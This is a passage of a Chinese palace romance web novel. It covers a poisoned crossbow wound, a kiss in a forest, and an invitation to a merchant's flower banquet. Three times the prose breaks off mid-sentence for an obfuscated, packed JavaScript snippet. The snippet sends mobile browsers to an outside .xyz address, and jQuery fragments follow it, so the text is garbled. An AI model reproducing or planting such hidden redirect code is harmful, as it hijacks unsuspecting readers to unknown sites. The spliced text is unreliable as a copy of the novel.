刘之衍拔剑与之厮杀,应子清也一旁帮忙。她蹲在草丛中使匕首,刺中对方大腿。刘之衍趁势重伤一人,斩去两人。
倒在地上假装重伤不起的死士,从腿部取下十字弓,借助杂乱草丛的掩埋,缓缓瞄准刘之衍。
应子清只觉得有一道冷厉的亮光,刺得眼睛生疼,她猛地看过去,一见死士手中拿的武器,暗道糟糕!
十字弓射程远,杀伤力极强,能穿透人体。
应子清与黑衣死士相隔甚远,来不及打断他的动作。
不过一秒的功夫,她已经飞身扑向刘之衍。刘之衍眼疾手快,他把应子清揽入怀中的刹那,将两人身体一挪转。
十字弓弓箭“嗖”地一下,划过刘之衍的上臂。
长袖破开一道口,刘之衍冷白的手臂,割开一道狰狞的伤口。
血流出来是黑的。
箭矢有毒!
刘之衍忍着剧痛,将手上的宝剑一掷,将假装重伤的死士一剑斩杀。
应子清望着那黑血,煞白了脸:“走,我们快找水源!”
应子清不忘捡起十字弓弓箭箭矢,找到中毒根源,才知道怎么治疗。
刘之衍对此处有印象,他指了个方向:“往东,那里有条溪流。”
毒液似是顺着伤口的活血,流入刘之衍的身体。
应子清只觉得每走一步,刘之衍的脸色就透明一分。她走上前,把刘之衍的胳膊搭在自己肩膀上,刘之衍没有拒绝。
这让她心里更加惶恐不安,刘之衍没有逞强,是不是说明他连走路也变得困难了。
听见溪流哗哗流淌的声音,应子清几乎是飞一样,带着刘之衍往前赶。
撕下绯红裙裾,一抹柔红,在清澈的水中飘荡。
罗纱浸透了足足的水,应子清数次反复,把刘之衍的手臂上的伤口,清洗得干干净净。
刘之衍脸色苍白,他不喊疼,羊脂玉般的眉心微蹙。
应子清给他做着清理,长睫毛颤抖着。她眼底慢慢浮起一丝泪光,迟迟不掉:“你怎么每次都被毒伤,下次我去普济寺,给你求一个菩提子手串。”
刘之衍白得透明的嘴唇,忍不住扬起微微弧度,笑了下。
应子清被他气得,大颗大颗的眼泪落下:“你怎么笑得出来。”
刘之衍心情很好,眼中泛起些许温柔:“我每次受伤,你都为我哭。”
应子清抬起脸,眼泪顺着脸颊滚落:“你没看见吗?你手臂上流出的血,是黑的。”
她很想镇定,可是她冷静不了。
死士的箭矢上,会涂什么毒?似乎不言而喻。
59. 第 59 章
刘之衍想说点话,安抚一下她,突然毒性发作,他骤然闭目晕厥。
“你怎么了?”应子清颤抖着指尖,碰碰他的脸。
刘之衍脸上的皮肤冰凉,像是结了层薄薄冷霜,她的手握不暖他。
野生的榆木林间,青山绿水。山野的尽头,弥漫清清冷冷的雾气。溪水流动,叮叮咚咚,白鹤在水中落下隐隐约约的影子。林间吹起阵阵微风,拂过脸颊,丝丝缕缕的凉。
初春乍寒,这里不是睡觉休息的地方。
她想去找解毒的药草,又怕遇上黑衣死士,或是错过接应的暗卫。思来想去,她此刻守在这里,是最好的。
应子清解下自己的外袍,披在他身上,企图让他保住一丝体温:“我知道你很难受,你别睡!”
听到对方略带哭腔声音,刘之衍努力睁开沉沉的眼皮,黑玉似的瞳仁,盯着她看。
应子清那双清亮狡黠的眼睛,风一样飘渺无定,看什么都若即若离,似乎什么都不能让她停留。哪里知道,会有这么一日,少女灵动的大眼睛泛着红,泪珠盈睫,细薄的肩头微微轻颤,无声流露着难以言喻的柔软与脆弱,撩拨着他内心深处的柔软。
刘之衍眸光微动,哑声道:“别哭了,很吵。”
应子清抬起头,紧张地观察着他,只见他眉心蹙得紧紧的,似是承受极大的痛苦。
“你好一点没有?”应子清抬手抹掉眼泪。但是她也知道白问,刘之衍的伤口只是稍作处理,怎么会那么快好。平白问一句,是希望他快点好。
“子清,”刘之衍黑眸静静凝视她,态度极为认真,“如果我死了,你是不是一辈子都忘不了我。”
应子清一怔,好不容易擦掉的眼泪,如断了线的珍珠般滑落:“你不会死的。”
然而这句话说出口时,她自己却没了信心。
应子清从未想过有一天,这个问题会让她惶恐。
头一回,她想把那含糊不清的谶语搞明白,刘之衍能不能活到即位的那一天?若是刘之衍死去,好像一切都将改变……她的心变得空落落的。
任务还是继续,她再另择一位更有潜力的储君即可。但是,她也知道,在这大晋朝的江山有茫茫人海,俊杰天才,唯独刘之衍这个名字,会成为她心口里的一道伤,永不磨灭。
刘之衍对上她的眼睛,无声询问她,他一定要知道答案。
“我会。”泪水模糊了应子清的眼睛,她轻声道,“我会,我会记得你一辈子。”
“好,你要记得你说过的话。”刘之衍眼底闪过一丝不易察觉的笑意。
应子清摇了摇头,她不想聊这种沉重的话题:“可我更想你活下去,你再坚持一下,暗卫马上就来了……”
没等她说完,她忽地扑进刘之衍的怀里。刘之衍揽着她,她听见他有力的心跳声,而且他在笑,结实的胸膛微微震动。
怎么回事?应子清有一瞬间的空白。
“那死士的十字弓是捉活人用的,箭矢涂的草乌毒。此毒有强烈的麻痹作用,方才麻药发作,觉得昏沉而已。”刘之衍轻描淡写,“我死不了。”
“倒是你,不是识得医理吗?”刘之衍嘴角轻轻扬起,“怎么没认出来。”
他当然知道她为什么没认出来,见那黑血,她早慌得心思混乱。不过,他仍是忍不住,带着恶趣味问一问。
应子清愣了好几秒,才反应过来他说的什么意思,气得她狠狠捶了刘之衍心口一下。
刘之衍笑了声,手上用了点力,把她更紧地按在怀里。
闻着她身上浅淡香味,他眸光黯下来,指腹慢慢蹭过她嫣红的唇色:“子清,我受伤了,你随时可以推开我。”
刘之衍俯身,吻住她的嘴唇。
那是一种冰冰凉凉的触感,不同于她以往接触过的任何一种亲密。男性冷硬的气息,带着不容拒绝的强悍,霸道地注满她的感官。应子清被迫承受他的亲吻,瞳孔微微睁大,心脏跳得发疼。
她太懵懂,连呼吸也不敢,仿佛不知道发生什么事。好似初落的雪,洁白到无辜,等待他落下他的痕迹,刘之衍心情愉悦。
少女的唇瓣柔软细腻,能吮出清甜的味道,刘之衍肆意纵情地品尝,吻得情动。
明明说了可以随时推开他,等他咬住应子清嘴唇,却单手将她两只细瘦的手腕紧紧扣住。应子清被亲吻得面红耳赤,手也被牢牢捉住。眼角泛起朦胧的泪花,不知道是刚才哭的,还是新涌上来的。
林间有雀鸟,在枝叶间穿梭蹦跳,婉转啁啾。
倏然赶到的夜鹰,领着一众暗卫,屏息敛神,停在几尺远的距离。
天朗云清,榆树树冠一层叠了一层。春风一掀,千鸟腾飞,翠绿树影摇曳,如海浪般此起彼伏。
树下,相拥的两人在做什么,一望即知。
夜鹰额头滴着汗,他不敢贸然打扰,可是眼下有要紧事……
夜鹰心念急转,想到一个主意,他抬了抬下巴,示意其中一个属下:“你吹个口哨。”
“你吹吧,打死我都不敢。”暗卫摇头不肯答应。
夜鹰瞪着眼睛,恶狠狠道:“怎么,老子的命令,你都不听了吗!”
“不听,大不了被你记仇,那也比被太子记仇强。”那人光是想一想太子的智谋与手段,浑身寒毛直竖。
“这是正事,太子不会怪你的,我保你无虞!”夜鹰厚着脸皮,催促道,“示警的活儿一向是你干的,你让我找谁去!别磨磨唧唧,快吹口哨。”
“正事你自己干啊!”那人撇过脑袋,死活不肯答应。
几个人在这里互相推脱,都不敢搅了太子的美事。
刘之衍往树影看了眼,脸色一黑,当即把外衣展开,将应子清遮住,护在怀里。
暗卫们注意到刘之衍的动作,知道惊动了他,赶紧噤声。
等两人收拾利落,应子清强撑着冷静,但红得滴血的耳垂,还是出卖了她。
暗卫们逐一出现,单膝跪地:“属下来迟,但请太子恕罪!”
刘之衍平静地像没发生任何事,他利落地指了几个方向:“务必将死士活捉,我还有话要问。”
“是!”夜鹰与一众人领了任务,身影一闪,迅速离去。
萧萍山神勇无双,拎着一把玄铁黑刀,将数名黑衣死士击毙。她身上残留腾腾杀气,带着语兰一齐过来。
两人均是平安无虞。
马车翻车以后,语兰藏身于一处无人的小洞里,黑衣死士在她面前走来走去,也没发现她。
看到应子清,语兰眼泪汪汪,愧疚不已,跑去抱住她的胳膊:“子清姐姐,都是我不好……”
应子清正要安慰她,刘之衍忽然横横过一只手臂,将应子清半揽在怀里,不让语兰靠近。
语兰一见太子不置可否的强
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970980|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
硬态度,心中哆嗦了下。她松开了手,默默退开几步。刚才,她好像从子清姐姐身上,捕捉到一缕若有若无、恍若太子的气息……这是可能的吗?
“这里不是说话的地方。”刘之衍看了眼应子清,他眸色极为深沉,侵略之意仍是昂然。她眨了下眼,偏开脸,耳朵再一次红透。
黑衣死士有大半栽在萧萍山手里,东宫暗卫很快处理完剩下的。
这些死士一见大势已去,脸上皆露出决绝之色,不能成功复命便是罪,纷纷以死谢罪。
“殿下,”夜鹰请罪道,“要将尸首带回去继续查吗?”
“查,”刘之衍肃杀之气勃然,“我要看看什么样的罪,配得上十二死士!”
草乌之毒,虽然不重,还是需要清毒与解药。此番再度受伤,纯属意外,刘之衍不好惊动太医。回程的路上,一队人在长安城中,找了家有名的医馆。
进了医馆,刘之衍与语兰,分别去了不同的方向。
应子清陪着语兰,掀开帘子,进了间相对隐秘的医室。
诊脉的是位发须皆白的老先生,沉吟片刻后,他轻声细语道:“姑娘请放宽心,老夫行医多年,诊脉之术还算精通。老夫细细探查,姑娘没有孕脉。只是体内寒意稍重,血气凝滞,这也不是疑难杂症。我这里给你开几副温养滋补的方子,调理些时日,自会好起来。”
语兰猛地仰起脸,朝应子清看过去,她眼中的惊恐渐渐消退,取而代之的是劫后余生的庆幸:“子清姐姐,我没事了!”
应子清摸了摸她憔悴的脸,叹息道:“以后别再轻言放弃。”
“我不会了……”语兰哽咽着,想扑进应子清怀里,寻求安慰。再靠近她的那瞬,语兰徒然想起方才太子蛮横地一拦,她生了怯意,只得蹑手蹑脚地收回手。
傍晚吃饭,仍是应子清在刘之衍身旁随侍。
厨房做了一桌子小巧精致的菜肴,刘之衍吃得很安静,不言不语。
应子清煮了壶茶水,给他的手旁的白玉杯,缓缓倒入茶水。茶汤是碧莹莹的绿,白玉杯里画了支舒展的玉兰,仿佛随风微微摇动。茶香萦绕,用这个白玉杯饮茶,像是饮仙露。
刘之衍随手指了另一空杯,示意她给自己也倒上。
应子清点头,也给自己倒了。
“太烫,等一等再喝,免得烫到舌头。”刘之衍意有所指,贴心嘱咐。
下午的时候,刘之衍吻到情动,让应子清呼吸不过来。她挣扎不能,气恼之下,咬伤了刘之衍的嘴唇和她的舌尖。破损了口子,两人都尝到些许血腥味。
若是让过烫的茶水一激,口中的伤口会有刺痛感。
“咳、咳、咳——”应子清正喝着,吞咽不及时,茶水呛进气管,猛地咳嗽不止。
赶在刘之衍站身前查看她情况之前,她跑了出去。
晚间休息的时候,刘之衍神色淡淡,由应子清给他宽衣解带。他没再开口说话,免得刺激她。
宫灯亮着烛火,光线朦胧,裙裾拖曳地面的声音清晰可闻。
应子清用铜扣按灭了几盏宫灯,光线更暗了
盖上锦被,应子清左右翻转,睡不着。她偷偷朝寝殿的另一方看了眼,那里落着重重宫纱,香炉平稳地升起一线香气,宁静宜人。
应子清拉过被子,盖住眼睛。
反正,谁都没去解释那个吻,她心烦气躁地想道。
60. 第 60 章
初夏炎炎,池塘飘着挤挤攘攘的荷叶。
两三个小宫女笑在一处,拿着团扇在水面上扇扇风,用影子吓唬小池塘里的金鱼。
应子清朝那里看了眼,拉住锁扣,将窗户扣上。
寝殿里有股血腥味,薰香也掩盖不住。
影枭白着一张脸,夜鹰给他的腹部,换了层干净的医棉布。一长条血迹,隐隐约约从白棉布上透出,夜鹰多裹了几层,堪堪将血迹盖住。
“老大,伤看着好很多了。”夜鹰低声道。
“是,没想到我还有回来的一天。”影枭用力闭了闭眼。
刘之衍把手放在影枭肩上:“此次任务,你完成得极为出色。”
“不敢。”影枭汗颜,又道,“此次偶遇翟容进长安城,若不是他愿意捎带我们一程,我们一伙兄弟,很难离开玉川郡。”
“翟容?!那不是玉川郡最大的富商么……”夜鹰霍然一惊,反问,“你怎么跟他搀和上了?”
“翟容不知道我们是谁。”影枭摇了摇头。
“为了收集安景王的消息,当时我们扮作游人脚商。谁知道半路上,突然来了一波四处查访的王府卫兵。我们看着太可疑了,王府卫兵跟我们起了冲突,还打起来。我们人数不够,哪里是卫兵的对手,死伤严重。”影枭细细回忆他们发生的事,面色再度凝重,“我领着剩下的兄弟们逃向山野,非常狼狈。”
“逃命的路上,我们遇到一支商旅,他们太引人注目了。商旅队伍极为漫长,绕着盘山路行走,运送货物的马车驴车,将道路堵得严严实实。我派人去打听,原来是翟容。”影枭按了按腹部的白棉,将外袍穿上。
“商旅有多少人?”刘之衍问得十分犀利。
“约有万人。”影枭抬起眼。
“万人?”应子清忍不住重复道。
一万人驾着马车驴车,那阵容,可谓浩浩荡荡,堪比军队了。
“玉川郡是大晋最为富饶的地方,翟容又是玉川郡最富的商人,可不是!”夜鹰咂摸着点头,复又惊叹道,“不过这市井之徒进长安城,就要带一万人伺候呐,这也太多了……”
影枭继续道:“那时我的伤还没好,浑身狼藉,便自称贩野货的山民,打猎受了伤,到翟容的商旅,请求他们帮忙。我的本意,是希望他们舍些治伤的药给我们,没想到,他们直接带我去翟容。亲眼见到传闻中的大富商,我很意外……”
夜鹰啧了声,插话打断:“老大,你是街坊里的说书人吗!卖关子的劲头学得十足十!赶紧说重点!”
“我原以为是大腹便便的商人。”影枭失笑,“谁知道那是一个非常、非常年轻的男人,大约二十上下。此人性子平和,他听了我的说辞,说愿意带我们一同进长安城,还找商旅里的大夫给我们疗伤。我不敢暴露刀伤,佯装痊愈,才导致伤情耽误至今。”
听上去,影枭对此人没有恶感,反而有些欣赏。
“翟容来自玉川郡,与安景王有着千丝万缕的关系,你别乱说话。”夜鹰急忙道,“安景王刚派了一波死士收拾咱们,翟容此人不得不防!”
影枭摇摇头,只看刘之衍的意思。
刘之衍却问:“此人为何突然来长安?你可知道?”
影枭想了想,抬起眼:“不知,一路走来,没听他的商队提起过。
”
“做事是要有理由的,何况他带着这么多人,不像随便游玩那么简单。”应子清越想越觉得奇怪,不由担心,“会不会是安景王有了新打算?”
最后这个问题,正是大家心中所疑虑的。
影枭此行,带回不少关于安景王在玉川郡鱼肉乡里的事情。
近期最为有名的,便是安景王纵容谋士姜泽语的胞兄姜泽峰,在乡间强取豪夺,霸占田产,闹出冤案一事。受害者揣着满纸冤屈,人还没出玉川郡,被县官找了理由,安了个罪名,使其下狱,冤死狱中。
这件事在玉川郡闹得轰动,长安城不闻一丝一毫风声,若非影枭特意走一趟,恐怕连这桩案子也不知道!
影枭道:“王府及其僚属,在玉川郡多有恶行,然而安景王气焰熏天,无人敢言,唯有自哀自叹。”
何止气焰熏天,安景王做皇子时,当今的皇帝亦不如他受宠。先帝临终前,还将最富饶的玉川郡赐予安景王。
应子清想起,那日去安景王王府所见所闻,东宫所用之物,远远比不上。看来安景王王府用度豪奢,穷极珍奇,亦是横征暴敛,酷吏横行的结果。
此人之势,圣上都比不过……在场的每个人一度陷入沉默,觉得棘手之至。
“笃笃”两声,有人在敲门。
影枭与夜鹰最敏锐,在敲门声响起之前,两人一同站起身。
“属下告退。”两人异口同声,同时在寝殿内消失。
应子清去开门,来人是香巧,她乖巧道:“禀报太子,有来客造访。”
“是谁?”刘之衍跟着走出来。
“中书舍人谢大人在书房等候。”香巧回答。
梨花雪白,缀满枝头,日头下泛着柔和的光。书房内,立着一竹青长袍的男子。他对着满架的古籍,安静地站在那里。孑然挺拔的背影,透着遗世独立的书卷气。
刘之衍先进门,谢言昭不着痕迹地扫了应子清,随后淡淡收回眼,向刘之衍请安:“下官斗胆,此次前来,是受一友人所托,为他送一张帖子。此友久仰太子殿下之风采,诚邀殿下移步至其庭院,共赏似锦繁花。”
言罢,谢言昭递出一张请帖,放于案上。
刘之衍拾起看了眼,递与应子清。
这是一张金箔作的帖子!
薄薄的一片金箔,上面细细錾了一番言辞诚挚的邀约。薄薄的发丝般细密繁复的花纹,描了圈周边。怎么看怎么文雅,便是当作古玩收藏也足够。
邀请者,正是他们刚在寝殿密谈的主人公,翟容。
他在长安城举办赏花会,要天下的百花,在他的揽芳华庭院中盛开。
揽芳华揽尽天下百花!
若非有外人在,应子的必定要说一句,好大的口气!
这么多花,没水可养不活!长安街坊里,自带活泉的地方,她就知道一个映月楼。难怪翟容带了那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982507|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么多人,合着都去给他的揽芳华挖渠了。
大晋朝抑制商人,翟容的身份无法面见太子,他办场百花宴,想邀请身份尊贵的客人,只能托人。
不知道翟容用了什么办法,竟能劳动谢言昭亲自为他跑一趟。
刘之衍若是想去,给的是谢言昭面子,而非翟容。
金箔之邀,翟容做事老道,看上去诚意十足。
但安景王刚刚损失十二死士,翟容既然与安景王关系交好,他怎么会给太子递帖子?
邀帖的背后,到底是居心不良,还是单纯相邀?
应子清看向刘之衍,等着他的决定。
刘之衍修长的指节在桌案上轻敲:“夏日繁花似锦,错过可惜,算是去散心,我会如期赴约。”
哪知谢言昭道了声感谢,又道:“可否请应司直移步旁处一叙?”
刘之衍:“……”
“啊?”应子清冷不防被点名,愣住,“是有话跟我说吗?”
谢言昭坦然点头:“是。”
他这么一承认,应子清眨了下眼,明白过来,谢言昭该不是改了想法,同意跟她交朋友了吧!
应子清正想答应,刘之衍脸色不太好,他在两人之间巡视一番,冷冷道:“有什么话,在这里说。”
谢言昭可有可无,从袖中取出一张薛涛笺纸作的邀帖:“这里还有一份邀帖,是给你的。”
薛涛笺纸又名桃花笺,清丽典雅,不比金箔贵重,然而此笺纸素为文人墨客青睐,其间自有闲情雅致的相邀之意,尽显殷殷诚意。
应子清接过,见那邀帖上的名字,果然写着“应子清”三个大字。
这一份邀帖,其实是谢言昭特意为应子清所求。
听说女孩子没有不喜欢花的,这件事,谢言昭特意找了谢凝荷问过。
谢凝荷一开始,还以为她哥又要教训她,不肯说话,谁知道他问了这么一个问题。
谢凝荷给出肯定答案:“废话,贵族女子有不爱簪花的吗?你看她们面红耳赤,争抢一朵名花的样子就知道了!何必来问我!”
谢言昭听了,独自思索了个主意,便自顾自走了。害得谢凝荷一头雾水,想了半日没想明白闹的哪一出。
谢言昭想的简单,揽芳华百花争妍盛放,若是太子殿下赏光愿意去自是最好,若是他不愿意去,应子清有了邀帖,可以自行前往。
再者,他心中藏着更深一层思量,想来极少有宴席的帖子,是单独邀请她的。如果她手中有一份邀帖,便与其他客人一般无二,是座上宾,而非伺候别人的随侍。
谢言昭自以为考虑周详,可他非但没有从应子清脸上看到丝毫喜色,反而发觉她接过邀帖后,满脸凝重。
应子清哪里知道有这么一桩故事在里面,她刚刚遭遇十二死士的追杀,只当连翟容都知道她了,准备替安景王收拾她!
刘之衍走到她身边:“无妨,一起去便是,我会做一些安排,到时候你不要离开我身边。”
谢言昭莫名,为何一场繁花盛宴,在殿下口中成了龙潭虎穴般危机四伏之地,透着凶险意味。
61. 第 61 章
“原来帖子是你替我求的?”应子清驾着绯云骢,在小路上跑。
惴惴不安几天,发觉原来是场乌龙,应子忍不住失笑。
今日去赴会,谢言昭特意骑着一匹骏马赶来,早早在东宫门口等候。
他骑术上佳,御马有一派怡然自得的潇洒感。
谢言昭打马过去,与应子清并行,他眼露好奇:“前几日,我见殿下亦是如临大敌,里面是有什么故事吗?”
应子清摇头否认,不方便多说。
谢言昭没有纠缠,他略一迟疑,主动提及前提:“那日你见的奏折,是从你的主意而来。我已经在奏折末尾,将你的名字上报。只是你终究是名内官,我想到,在最后你的姓名还是难以见光。”
应子清转头看他,脸上露着惊奇的神色。
她看人,向来大胆又直接,仿佛不知道含蓄娇羞是何物。倒是谢言昭,被她乌黑清亮的大眼睛看着,他抵挡不住少女率真的视线,微微偏开脸。
“希望你不要责怪我。”谢言昭低声道。
“怎么会。”应子清拉了拉缰绳,让绯云骢靠近他一些,“谢大人是为天下而写,我只会感激谢谢大人,没有嫌弃我那些幼稚的想法。”
“说实在的,谢大人所写的奏章,思路严谨,文采斐然,相比之下我那点想法,望其项背,微不足道。”应子清此话说得真心实意,“久闻谢大人聪明过人,光明正大。今日目睹,才知道所言不虚。”
谢言昭听她一口一句谢大人,生分客气得紧,虽然知道应子清是出于礼数才这么称呼,可他心里有些别扭。
递了邀请帖,也把话说开了,谢言昭发觉,他最开始所想的难关,全过去了。
他没有多余的话讲了。
夏日清晨,天空湛蓝,大朵大朵绵软的云,在天空飘散。
山林间的草木青得滴水,有蝉鸣伏在草丛里一声声聒噪,声音传得极远。
谢言昭御着马,与应子清保持不太远的距离,余光里,他看见盛日骄阳,落在少女小巧光洁的脸上。
清晨的阳光太亮了,应子清微微眯起眼,长长的眼睫交缠,鼻梁挺秀。阳光顺着她精巧的下颔,勾勒出一丝浅浅的绒光,越发将她衬得熠熠生辉。微风撩动她鬓边碎发,她自己浑然不觉,却看得旁人很想替她挽一挽。绯色轻纱所制的襦裙,落在骏马身上,流霞般飘着一条娇俏柔媚之色。
谢言昭看她的视线太明显,应子清察觉到了,看了他几眼:“谢大人?你有话要讲吗?”
“没、没有。”谢言昭马上收回眼神,看着前方。
应子清想了想,觉得此刻是个不错的聊天机会,她问:“谢大人,你可有梦想?”
“梦想?”谢言昭不解。
“对。”应子清朝他微笑,“我经常听说,读书人出仕为官,心中都有一个愿望。或者志在朝堂,成就名垂青史的愿望。或者辅佐明君,安邦定国,方不负平生所学。”
“先说我的好了,我就有一个这样的愿望。”不等他回答,应子清自己先一步道,“我愿天下太平,仓廪充足;农者耕于野,岁岁丰收,百姓安居乐业,无饥寒之忧,无纷争之乱……而我,正是为此而来。”
应子清所愿,与谢言昭的愿望非常相似,但他觉得有些奇怪。因为说到最后一句,应子清神色变得凝重。既是恢宏大气的愿望,自是豪情万丈,引人动容才是。为何她的语气,有几缕惆怅?
没等谢言昭开口,刘之衍御着通身雪白的月影,横插进来,将两人分开:“你们在说什么?”
月影是万里挑一的宝马,它处于两匹骏马之间,仿佛王者,自带雄赳赳气昂昂的姿态。旁边的两匹骏马垂头甩尾,自惭形秽,听话地为月影是瞻。
应子清的绯云骢不知是不是更喜欢月影,又或者两匹马养在一处,更加熟稔。不等主人指挥,绯云骢先凑了上去。
刘之衍挑起眉稍,表示对绯云骢很满意:“子清,我教你如何在纵马时射箭,如何?想学吗?下回迎敌,你就多了一项本事。”
应子清想起之前在榆树林里狼狈逃跑,本着多学一点是一点的心态,当即道:“好!不过好端端的,手里没有弓箭,怎么学?”
见她注意力从谢言昭身上,转移到他这里,刘之衍笑起来:“重要的不是弓箭,而是精于御马。你于此道还差了一步,跟我来,我教你。”
说话间,刘之衍的月影听懂主人的话,奔跑起来,绯云骢本就跟着月影,当下提起速度。
两人策马扬鞭,迅速与其他人拉开距离。
谢言昭的骏马犹疑不定,它也想追上,可是没有收到主人的提示,只得慢了下。
对话再一次被打断,谢言昭没有着急。因为,可以留到下一次见面的时候,他心中微妙又忐忑不安地期待着。
传闻中那座叫“揽芳华”的庭院,在安景王近郊宅院的隔壁。
不见庭院,先见一座新堆砌起来的假山,与流觞曲水般文雅别致,清澈见底的潺潺小溪。
古人讲究好山好水,长安城近郊没有天然的山水,翟容偏要逆天而行,凭空造一个山水盛景!
挥金如土到这个地步,令人乍舌。
通往揽芳华的道路,挤得人仰马翻。
烈日灼灼,银亮流光的月影一现身,再没眼力的马夫侍卫,也能认出这是匹罕见的汗血宝马。其他骏马见了,躲避马王似的,纷纷避退让路,带动诸多马车,车轱辘,马车帷幕挤作一起,引得马车里的女眷们连连惊呼。
拥挤的道路,再度变得混乱。
犹如摩西分海般,月影见开出条清爽的路,傲慢地嘶鸣了声,轻踏而过。
这马也不知道随的谁的性子,刘之衍轻拍了下马鬃,叫月影收敛点。
刘之衍在前方开道,应子清与其他人紧随其后。
“揽芳华”庭院门口,一辆上等乌木做成的马车停在那里。马车镶金嵌银,织锦帷幔映着日头,细细闪烁靡丽华光。
刘之衍在外行事很少张扬,他没有允许宫人催促对方让行,而是悬停马,随意等待。
奢靡的马车,走下来一个眉目精致的丫鬟。大约是经常被旁人相让,丫鬟习以为常,并不看其他人。她下来后,只专注马车内的人,伸手将帷幕轻轻撩开。
只见一双玉白的纤手探出,十指修长,丹蔻滢亮嫣红,被丫鬟扶着,随后那双玉手的主人,从马车款款走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986258|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。
窦兰芷本来没注意旁边站的什么人,她的眼风扫到一抹雪白,觉得奇怪,抬起眼来。
“是你。”窦兰芷眼露惊喜,柔和微光在她眼底闪动。
刘之衍居高临下地骑在月影之上,黑眸冷漠,她只得仰望于他。
窦兰芷却很喜欢这样看着他,她微微一笑,很是高兴:“我就知道,你会让着我,等着我。”
刘之衍没说话,月影等的不耐烦,它喷着响鼻,刨了刨蹄子,表达着不满。
“好马性子都骄傲。”窦兰芷对月影的坏脾气不以为意,欣赏似的,轻轻点头。
她这样站在这里说话,像在等刘之衍下马,与她一同进去。
刘弘煦不知从哪转出来,他望着此情此景,将手中的折扇一收,轻轻敲在手心,“啪”地一声,打断窦兰芷的殷殷相望。
这么多认识的人,刘弘煦谁也没看,眼神却落在应子清身上。随后他转向窦兰芷,似笑非笑道:“兰儿,我们是不是该进去了。”
窦兰芷忽然用力闭了闭眼,欣喜的神情,消失得干干净净。
她又是那个高高在上的窦家千金,满目孤傲清冷。
窦兰芷没有看刘弘煦一眼,扶着丫鬟的手,兀自进了门。
应子清下了马,还在琢磨刘弘煦刚才看她的那一眼。那眼神很冷,但奇怪的是,藏着一丝同命相连的悲伤。
为什么?
而且,刘弘煦怎么跟窦兰芷凑到一起?
翟容命专人,早早等在那里,只等刘之衍抵达,直接进贵客的休息之处等待,免去烈日炎炎之下久候之苦。
“东家本想亲自出来迎接,可惜遇到不能走开的紧急之事,不能前来。”引路的仆从面庞白皙端正,看着像管事,他谦卑一笑,“万望殿下怜恤,莫要怪罪。”
“无妨。”刘之衍口中答应,他回头一看,应子清越走越落在后面。
“揽芳华”号称揽尽天下百花,一路走来,花楹重重,祥和宁静,名不虚传。
应子清无意间,扫过一角,突然站停在原地。
隔着密密丛丛枝蔓,她看到有一青年男子,坐于青石板铺就的小道旁。
青年男子穿一身藏青衣,前身沾了水渍,但他没有去关注这个亟需解决的问题,而是十分奇怪地,满脸空洞漠然地坐着,举止仿若静止。
就在不远处,有奴仆在附近,但他们垂着头,对青年男子的异状恍若未闻。
不知道的,恐怕会以为,这位青年男子是个呆傻之人。
只是应子清觉得不对,因为她曾经看过太多案例,呆傻之人不是这样。
那人神情木讷,四肢僵硬,衣服脏了,手足无措呆在那里,不知道呼人处理。
分明是受过重大创伤后的习得性无助,有躯体化的表现。从创伤中走不出来的人,一点点意外,都会转为沉重的痛苦,导致身体的紧张与抗拒。身与心都疲倦不堪,只能处于无所作为的状态。严重一点的,还会失去自我调节的能力,不由呈现僵硬状态。
刘之衍走过来,同她一起看过去。
那位管事亦在旁边,他看了眼,叹了口气:“那一位,就是我们的东家,翟容。”
62. 第 62 章
他们在这里说话,惊动了树影那一边的人。
奴仆匆忙走到翟容身边,小心翼翼禀报。
翟容睁着空洞的眼,呆了半晌,随后他紧紧闭上眼睛,强迫自己站起身。
待到翟容绕过篱笆,来到刘之衍面前磕头碰脑:“太子殿下万金之躯,亲临小人的简陋之地,小人不胜惶恐。此地小人已提前布置,力求妥帖。府中虽无稀世珍宝,却也事事用心。殿下且安心落座,若有任何不便之处,还请殿下明示,小人即刻整改。”
一番话说得清润平和,低低哀哀的嗓音,藏着挥之不去的悲伤色调。
应子清眉心微蹙,仔细观察他。
翟容年纪极轻,面容清雅,眼角有一颗极小的痣。他的肤色,雪白一片,是那种不太健康,但很干净的白皙。
论谁一看,也猜不到此人是玉川郡最大的商人,他看起来更像书生。
翟容左右穿的两只鞋,一黑一白,古怪之至。
大晋朝有规定,商人穿鞋的颜色不得一致,好叫人直接分辨身份。士农工商,商人排最末,多少有歧视商人的意思。即使翟容腰缠万贯,也不得不打扮奇特。
“不必多礼。”刘之衍随意点下头,“我不喜欢旁人因我而拘束,你不必着人随侍左右,也不用告诉众人。我自在游玩,畅快便足矣。”
